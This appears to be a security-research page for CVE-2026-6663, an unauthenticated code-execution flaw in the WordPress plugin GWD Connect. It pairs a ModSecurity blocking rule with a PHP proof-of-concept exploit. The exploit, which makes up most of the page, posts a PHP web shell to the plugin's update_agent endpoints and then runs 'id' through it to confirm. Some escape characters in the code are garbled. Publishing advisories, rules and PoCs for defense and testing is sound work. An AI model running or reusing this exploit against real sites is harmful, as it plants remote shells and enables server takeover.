CVE-2026-6663: GWD Connect <= 2.9 – Unauthenticated Limited Code Execution via update_agent (graphic-web-design-inc)

# Atomic Edge WAF Rule - CVE-2026-6663 (metadata-based)
# Block unauthenticated access to GWD Connect agent update endpoints
# The vulnerability allows writing PHP code via update_agent action
# Match both gwd-backup.php and gwd-logs.php with update_agent parameter

SecRule REQUEST_URI "@rx /wp-content/plugins/graphic-web-design-inc/(gwd-backup|gwd-logs).php$" 
  "id:20266631,phase:2,deny,status:403,chain,msg:'CVE-2026-6663 GWD Connect Unauthenticated Code Execution',severity:'CRITICAL',tag:'CVE-2026-6663'"
  SecRule ARGS_POST:action "@streq update_agent" "chain"
    SecRule ARGS_POST:code "@rx b(?:system|exec|shell_exec|passthru|popen|proc_open|eval|assert|base64_decode|gzuncompress|file_put_contents|fwrite|fputs)b" 
      "t:none,t:urlDecode"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6663 - GWD Connect <= 2.9 - Unauthenticated Limited Code Execution via update_agent

// Configuration - change these values
$target_url = 'http://example.com'; // Base URL of the WordPress installation
$plugin_path = '/wp-content/plugins/graphic-web-design-inc'; // Plugin directory path

// The malicious PHP code to inject (e.g., a simple web shell)
$php_payload = '<?php system($_GET["cmd"]); ?>';

// Two known vulnerable endpoints from the description
$endpoints = array(
    $target_url . $plugin_path . '/gwd-backup.php',
    $target_url . $plugin_path . '/gwd-logs.php'
);

$success = false;

// Try each endpoint
foreach ($endpoints as $endpoint) {
    echo "[+] Attempting endpoint: $endpointn";

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $endpoint);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
        'action' => 'update_agent',
        'code' => $php_payload
    )));
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/x-www-form-urlencoded'
    ));
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    // Check if the request was successful (HTTP 200) and response indicates success
    if ($http_code == 200 && $response !== false) {
        echo "[+] Endpoint responded with HTTP 200n";
        // Try to verify by accessing the agent file
        $agent_url = $target_url . $plugin_path . '/agent.php'; // Common agent file name
        $check_ch = curl_init();
        curl_setopt($check_ch, CURLOPT_URL, $agent_url . '?cmd=id');
        curl_setopt($check_ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($check_ch, CURLOPT_TIMEOUT, 10);
        $check_response = curl_exec($check_ch);
        $check_http = curl_getinfo($check_ch, CURLINFO_HTTP_CODE);
        curl_close($check_ch);

        if ($check_http == 200 && !empty($check_response)) {
            echo "[+] Exploit successful! Agent file returned: $check_responsen";
            $success = true;
            break;
        } else {
            echo "[!] Endpoint responded but could not verify code execution. The agent file may have a different name or path.n";
        }
    } else {
        echo "[!] Endpoint failed with HTTP $http_coden";
    }
}

if (!$success) {
    echo "[!] Exploit failed. The target may not be vulnerable (API key configured, plugin patched, or not unregistered).n";
    echo "[!] Alternative: Try different parameter names like 'file_content' or 'agent_code'.n";
}